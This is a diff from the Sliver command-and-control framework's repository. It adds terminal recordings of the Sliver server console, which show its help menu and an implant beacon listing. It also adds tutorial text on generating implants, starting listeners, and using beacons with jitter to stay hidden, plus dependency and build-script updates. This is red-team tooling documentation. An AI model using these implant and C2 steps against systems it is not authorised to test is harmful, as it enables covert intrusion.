[7.885785, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C"]
[7.887998, "o", "\u001b[214D\u001b[11C\u001b[?25h"]
[7.993993, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.001938, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[8.003372, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[8.071363, "o", "\u001b[?25l"]
[8.073826, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.092704, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[8.093891, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[8.181791, "o", "\u001b[1 q"]
[8.226101, "o", "\u001b[1 q"]
[8.226406, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.231665, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[8.233017, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
[8.77321, "o", "\u001b[?25l\u001b[214D"]
[8.775494, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.80576, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
[8.908774, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.923291, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22mst\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[20D\u001b[9C"]
[8.923497, "o", "\u001b[214D\u001b[20C\u001b[?25h"]
[9.051215, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[9.064616, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22msta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[21D\u001b[9C\u001b[214D\u001b[21C\u001b[?25h"]
[9.258989, "o", "\u001b[?25l\u001b[214D"]
[9.259378, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[9.266662, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22mstag\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[9.267002, "o", "\u001b[214D\u001b[1A\u001b[22D\u001b[9C\u001b[214D\u001b[22C\u001b[?25h"]
[9.312721, "o", "\u001b[?25l\u001b[214D"]
[9.313243, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[9.317735, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22mstage\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[23D\u001b[9C"]
[9.31828, "o", "\u001b[214D\u001b[23C\u001b[?25h"]
[9.874144, "o", "\u001b[23D\u001b[9C"]
[9.875107, "o", "\u001b[6n"]
[9.910314, "o", "\u001b[214D\u001b[23C\u001b[0J"]
[9.91059, "o", "\u001b[214D\r\r\n"]
[9.911676, "o", "\u001b[0 q\r\n"]
[9.940145, "o", "\u001b7"]
[9.940361, "o", "\u001b[?25l\u001b8"]
[9.942012, "o", "\u001b[0G\u001b[2K"]
[9.958944, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;1;99m [ ] \u001b[0m ASHAMED_WHISKEY\r\n\u001b7"]
[9.960283, "o", "\u001b[1A\u001b[0G"]
[10.704432, "o", "\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[10.706793, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;32m [x] \u001b[0m ASHAMED_WHISKEY\r\n\u001b7"]
[10.708367, "o", "\u001b[1A\u001b[0G"]
[11.504772, "o", "\u001b8\u001b[?25h\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[11.511953, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m\u001b[0;36m ASHAMED_WHISKEY\u001b[0m\r\n"]
[11.535808, "o", "\r\n"]
[11.551312, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[11.551645, "o", "\u001b[1 q"]
[11.553114, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[11.553423, "o", "\u001b[6n"]
[11.56914, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[11.570881, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[13.532974, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[13.55087, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[13.552653, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[13.63132, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[13.631999, "o", "\u001b[6n"]
[13.637145, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[13.721062, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[13.731059, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C"]
[13.731364, "o", "\u001b[214D\u001b[12C\u001b[?25h"]
[13.806009, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[13.817336, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[13.818071, "o", "\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[13.899054, "o", "\u001b[1 q"]
[13.925017, "o", "\u001b[1 q\u001b[?25l"]
[13.927048, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[13.940489, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[13.941474, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
[14.332764, "o", "\u001b[18D"]
[14.333879, "o", "\u001b[9C\u001b[6n"]
[14.361829, "o", "\u001b[214D\u001b[18C\u001b[0J\u001b[214D\r\r\n"]
[14.363299, "o", "\u001b[0 q\r\n"]
[14.387987, "o", " Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage \r\n================= ============== ========== ============= ============ ======================= ======= =========== ======= =======\r\n ASHAMED_WHISKEY beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 19778 true \r\n\r\n\r\n\r\n"]
[14.397688, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[14.397879, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[14.400466, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
[14.40078, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[16.557278, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[16.580738, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[16.807797, "o", "\u001b[?25l"]
[16.809001, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[16.820135, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[16.821114, "o", "\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[16.933404, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[16.945131, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[17.091966, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[17.103693, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[17.545196, "o", "\u001b[13D\u001b[9C\u001b[6n"]
[17.563002, "o", "\u001b[214D\u001b[13C\u001b[0J\u001b[214D\r\r\n"]
[17.567814, "o", "\u001b[0 q\r\n"]
[17.579386, "o", "Exiting...\r\n"]
[17.597406, "o", "# "]
[18.913792, "o", "\r\n"]
@@ -0,0 +1,79 @@
{"version": 2, "width": 266, "height": 92, "timestamp": 1714563838, "env": {"SHELL": null, "TERM": "xterm"}}
[0.0335, "o", "# "]
[1.026138, "o", "."]
[1.27035, "o", "/"]
[1.990462, "o", "s"]
[2.104733, "o", "l"]
[2.18274, "o", "i"]
[2.324536, "o", "v"]
[2.459428, "o", "e"]
[2.563262, "o", "r"]
[2.917731, "o", "-"]
[3.197754, "o", "s"]
[3.236411, "o", "e"]
[3.28984, "o", "r"]
[3.512507, "o", "v"]
[3.731953, "o", "e"]
[3.855727, "o", "r"]
[4.224416, "o", "\r\n"]
[4.924834, "o", "\r\nSliver Copyright (C) 2022 Bishop Fox\r\nThis program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.\r\nThis is free software, and you are welcome to redistribute it\r\nunder certain conditions; type 'licenses' for details.\r\n\r\nUnpacking assets ...\r\n"]
[15.06029, "o", "\u001b[32m\r\r\n ███████╗██╗ ██╗██╗ ██╗███████╗██████╗\r\r\n ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗\r\r\n ███████╗██║ ██║██║ ██║█████╗ ██████╔╝\r\r\n ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗\r\r\n ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║\r\r\n ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝\r\r\n\u001b[0m\r\nAll hackers gain first strike\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
[15.063896, "o", "\r\n"]
[15.088787, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[15.090324, "o", "\u001b[1 q"]
[15.092416, "o", "\u001b[?25l"]
[15.092815, "o", "\u001b[266D"]
[15.093453, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[15.094487, "o", "\u001b[6n"]
[15.097509, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[15.098359, "o", "\r\r\n\u001b[0K\u001b[0J"]
[15.099345, "o", "\u001b[266D\u001b[1A\u001b[9D\u001b[9C\u001b[266D\u001b[9C\u001b[?25h"]
[16.450333, "o", "\u001b[?25l"]
[16.452271, "o", "\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[16.456684, "o", "\u001b[6n"]
[16.472371, "o", "h\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[16.473216, "o", "\u001b[0K\u001b[0J\u001b[266D\u001b[1A\u001b[10D\u001b[9C\u001b[266D\u001b[10C\u001b[?25h"]
[16.853991, "o", "\u001b[?25l"]
[16.856214, "o", "\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[16.864284, "o", "he\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[16.86466, "o", "\u001b[0K\u001b[0J\u001b[266D\u001b[1A\u001b[11D\u001b[9C\u001b[266D\u001b[11C\u001b[?25h"]
[16.947679, "o", "\u001b[?25l\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[16.955882, "o", "hel\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[16.957194, "o", "\u001b[0K\u001b[0J\u001b[266D\u001b[1A\u001b[12D\u001b[9C\u001b[266D\u001b[12C\u001b[?25h"]
[17.013552, "o", "\u001b[?25l\u001b[266D"]
[17.015213, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[17.02521, "o", "\u001b[1m\u001b[32mhelp\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[266D"]
[17.025821, "o", "\u001b[1A\u001b[13D\u001b[9C\u001b[266D\u001b[13C\u001b[?25h"]
[17.502966, "o", "\u001b[13D\u001b[9C\u001b[6n"]
[17.513675, "o", "\u001b[266D\u001b[13C\u001b[0J\u001b[266D\r\r\n"]
[17.519913, "o", "\u001b[0 q\r\n"]
[17.54967, "o", "Server commands\r\n\r\n"]
[17.564302, "o", "Usage:\r\n [command]\r\n\r\nMultiplayer\r\n kick-operator Kick an operator from the server\r\n multiplayer Enable multiplayer mode\r\n new-operator Create a new operator config file\r\n\r\nGeneric\r\n aliases List current aliases\r\n armory Automatically download and install extensions/aliases\r\n crack Crack: GPU password cracking\r\n creds Manage the database of credentials\r\n exit Exit the program\r\n help Help about any command\r\n licenses Open source licenses\r\n operators Manage operators\r\n settings Manage client settings\r\n update Check for updates\r\n version Display version information\r\n\r\nNetwork\r\n c2profiles Display C2 profile details\r\n http Start an HTTP listener\r\n https Start an HTTPS listener\r\n jobs Job control\r\n mtls Start an mTLS listener\r\n stage-listener Start a stager listener\r\n websites Host static content (used with HTTP C2)\r\n wg Start a WireGuard li"]
[17.564452, "o", "stener\r\n wg-config Generate a new WireGuard client config\r\n\r\nPayload\r\n builders List external builders\r\n generate Generate an implant binary\r\n implants List implant builds\r\n profiles List existing profiles\r\n regenerate Regenerate an implant\r\n shikata-ga-nai Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない\r\n\r\nSliver\r\n beacons Manage beacons\r\n hosts Manage the database of hosts\r\n info Get info about session\r\n loot Manage the server's loot store\r\n monitor Monitor threat intel platforms for Sliver implants\r\n reaction Manage automatic reactions to events\r\n sessions Session management\r\n taskmany Task many beacons or sessions\r\n use Switch the active session or beacon\r\n\r\nFlags:\r\n -h, --help help for this command\r\n\r\nUse \" [command] --help\" for more information about a command.\r\n"]
[17.565542, "o", "\r\n"]
[17.574109, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[17.574849, "o", "\u001b[1 q\u001b[?25l\u001b[266D"]
[17.575311, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[17.578397, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[266D\u001b[1A\u001b[9D\u001b[9C\u001b[266D\u001b[9C\u001b[?25h"]
[18.828372, "o", "\u001b[?25l\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[18.831242, "o", "\u001b[6n"]
[18.851771, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[18.853215, "o", "\u001b[0K\u001b[0J\u001b[266D\u001b[1A\u001b[10D\u001b[9C\u001b[266D\u001b[10C\u001b[?25h"]
[18.997027, "o", "\u001b[?25l"]
[19.002369, "o", "\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[19.014846, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[19.016957, "o", "\u001b[0J\u001b[266D\u001b[1A\u001b[11D\u001b[9C\u001b[266D\u001b[11C\u001b[?25h"]
[19.128941, "o", "\u001b[?25l"]
[19.1348, "o", "\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[19.144027, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[19.144368, "o", "\u001b[266D\u001b[1A\u001b[12D\u001b[9C\u001b[266D\u001b[12C\u001b[?25h"]
[19.251624, "o", "\u001b[?25l"]
[19.252599, "o", "\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[19.25855, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[19.258968, "o", "\u001b[0K\u001b[0J\u001b[266D\u001b[1A\u001b[13D\u001b[9C\u001b[266D\u001b[13C\u001b[?25h"]
[19.380187, "o", "\u001b[13D\u001b[9C"]
[19.394384, "o", "\u001b[6n"]
[19.401432, "o", "\u001b[266D\u001b[13C\u001b[0J\u001b[266D\r\r\n\u001b[0 q\r\n"]
[19.414383, "o", "Exiting...\r\n"]
[19.462658, "o", "# "]
[19.859529, "o", "\r\n"]
Binary file not shown.

After

Width:  |  Height:  |  Size: 100 KiB

+1
View File
@@ -0,0 +1 @@
{"tutorials":[{"name":"1 - Getting Started","content":"# This course is intented for the 1.6 version of Sliver, which is not yet published\n\n`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as its retrieving its dependencies, consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how its setup.\n\n![Alt text](/images/Architecture.png)\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case first checkout the commands help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n memfiles List current memfiles\n mkdir Make a directory\n mount Get information on mounted filesystems\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n screenshot Take a screenshot\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n"},{"name":"2 - Beacons vs Sessions","content":"Sliver implants support two types of connections, sessions and beacons.\n\nSessions use long-poling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.\n\nTypically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n ID Name Transport Username Operating System Last Check-In Next Check-In\n========== =============== =========== ================= ================== =============== ===============\n 942c647c TIRED_GIRAFFE http(s) tester darwin/amd64 52s 12s\n\n```\n\nBeacon callback times and jitter can be set either during generation or on the fly using the `reconfig` command.\n\nThe example below sets the callback time to 5s with a 1s jitter.\n\n```bash\n[server] sliver (TIRED_GIRAFFE) > reconfig -i 5s -j 1s\n\n[*] Tasked beacon Line truncated
+2 -1
View File
@@ -21,7 +21,8 @@
"next-env.d.ts",
"**/*.ts",
"**/*.tsx",
"prebuild/generate-docs.js"
"prebuild/generate-docs.js",
"prebuild/generate-tutorials.js"
],
"exclude": ["node_modules"]
}
+20
View File
@@ -1,18 +1,26 @@
import lunr from "lunr";
import React from "react";
import { Doc, Docs } from "./docs";
import { Tutorial, Tutorials } from "./tutorials";
export class SearchCtx {
private _docs: Docs = { docs: [] };
private _docsIndex: lunr.Index;
private _tutorials: Tutorials = { tutorials: [] };
private _tutorialsIndex: lunr.Index;
constructor() {
this._docsIndex = lunr(function () {
this.ref("name");
this.field("content");
});
this._tutorialsIndex = lunr(function () {
this.ref("name");
this.field("content");
});
}
public searchDocs = (query: string): Doc[] => {
@@ -34,6 +42,18 @@ export class SearchCtx {
});
}
public addTutorials = (tutorials: Tutorials) => {
this._tutorials = tutorials;
this._tutorialsIndex = lunr(function () {
this.ref("name");
this.field("content");
tutorials.tutorials.forEach((tutorial) => {
this.add(tutorial);
});
});
}
}
export const SearchContext = React.createContext<SearchCtx>(new SearchCtx());
+8
View File
@@ -0,0 +1,8 @@
export type Tutorial = {
name: string;
content: string;
};
export type Tutorials = {
tutorials: Tutorial[];
};
+3 -3
View File
@@ -20,9 +20,9 @@ set -e
# Creates the static go asset archives
GO_VER="1.22.2"
GARBLE_VER="1.22.2"
ZIG_VER="0.12.0"
GO_VER="1.23.5"
GARBLE_VER="1.23.5"
ZIG_VER="0.13.0"
SGN_VER="0.0.3"
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
+23 -23
View File
@@ -27,44 +27,44 @@ require (
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
github.com/jedib0t/go-pretty/v6 v6.5.9
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/klauspost/compress v1.17.8
github.com/klauspost/compress v1.17.9
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.22
github.com/miekg/dns v1.1.59
github.com/moloch--/asciicast v0.1.0
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e
github.com/ncruces/go-sqlite3 v0.15.0
github.com/ncruces/go-sqlite3 v0.20.3
github.com/reeflective/console v0.1.15
github.com/reeflective/readline v1.0.14
github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69
github.com/sirupsen/logrus v1.9.3
github.com/spf13/cobra v1.8.0
github.com/spf13/cobra v1.8.1
github.com/spf13/pflag v1.0.5
github.com/stretchr/testify v1.9.0
github.com/tetratelabs/wazero v1.7.1
github.com/tetratelabs/wazero v1.8.2
github.com/things-go/go-socks5 v0.0.5
github.com/ulikunitz/xz v0.5.12
github.com/xlab/treeprint v1.2.0
github.com/yiya1989/sshkrb5 v0.0.1
golang.org/x/crypto v0.23.0
golang.org/x/crypto v0.32.0
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f
golang.org/x/net v0.25.0
golang.org/x/sys v0.20.0
golang.org/x/term v0.20.0
golang.org/x/text v0.15.0
golang.org/x/net v0.33.0
golang.org/x/sys v0.29.0
golang.org/x/term v0.28.0
golang.org/x/text v0.21.0
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20230429144221-925a1e7659e6
google.golang.org/grpc v1.63.2
google.golang.org/grpc v1.64.1
google.golang.org/protobuf v1.34.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.5.6
gorm.io/driver/postgres v1.5.7
gorm.io/driver/mysql v1.5.7
gorm.io/driver/postgres v1.5.9
gorm.io/driver/sqlite v1.5.5
gorm.io/gorm v1.25.10
gvisor.dev/gvisor v0.0.0-20240306221502-ee1e1f6070e3
modernc.org/sqlite v1.29.9
tailscale.com v1.64.2
modernc.org/sqlite v1.30.1
tailscale.com v1.66.4
)
require (
@@ -95,8 +95,7 @@ require (
github.com/aws/smithy-go v1.19.0 // indirect
github.com/bits-and-blooms/bitset v1.13.0 // indirect
github.com/chromedp/sysutil v1.0.0 // indirect
github.com/coreos/go-iptables v0.7.0 // indirect
github.com/coreos/go-systemd/v22 v22.5.0 // indirect
github.com/coreos/go-iptables v0.7.1-0.20240112124308-65c67c9f46e6 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/dblohm7/wingoes v0.0.0-20240119213807-a09d6be7affa // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
@@ -107,6 +106,7 @@ require (
github.com/gaissmai/bart v0.4.1 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/glebarez/go-sqlite v1.21.2 // indirect
github.com/go-json-experiment/json v0.0.0-20231102232822-2e55bd4e08b0 // indirect
github.com/go-ole/go-ole v1.3.0 // indirect
github.com/go-sql-driver/mysql v1.7.0 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
@@ -116,7 +116,7 @@ require (
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
github.com/google/btree v1.1.2 // indirect
github.com/google/go-cmp v0.6.0 // indirect
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c // indirect
github.com/google/nftables v0.2.1-0.20240414091927-5e242ec57806 // indirect
github.com/gorilla/csrf v1.7.2 // indirect
github.com/gorilla/securecookie v1.1.2 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
@@ -127,7 +127,7 @@ require (
github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
github.com/jackc/pgx/v5 v5.5.4 // indirect
github.com/jackc/pgx/v5 v5.5.5 // indirect
github.com/jackc/puddle/v2 v2.2.1 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
@@ -165,7 +165,7 @@ require (
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85 // indirect
github.com/tailscale/peercred v0.0.0-20240214030740-b535050b2aa4 // indirect
github.com/tailscale/web-client-prebuilt v0.0.0-20240226180453-5db17b287bf1 // indirect
github.com/tailscale/wireguard-go v0.0.0-20231121184858-cc193a0b3272 // indirect
github.com/tailscale/wireguard-go v0.0.0-20240429185444-03c5a0ccf754 // indirect
github.com/tcnksm/go-httpstat v0.2.0 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
github.com/u-root/uio v0.0.0-20240118234441-a3c409a6018e // indirect
@@ -175,12 +175,12 @@ require (
go4.org/mem v0.0.0-20220726221520-4f986261bf13 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/mod v0.17.0 // indirect
golang.org/x/sync v0.7.0 // indirect
golang.org/x/sync v0.10.0 // indirect
golang.org/x/time v0.5.0 // indirect
golang.org/x/tools v0.20.0 // indirect
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
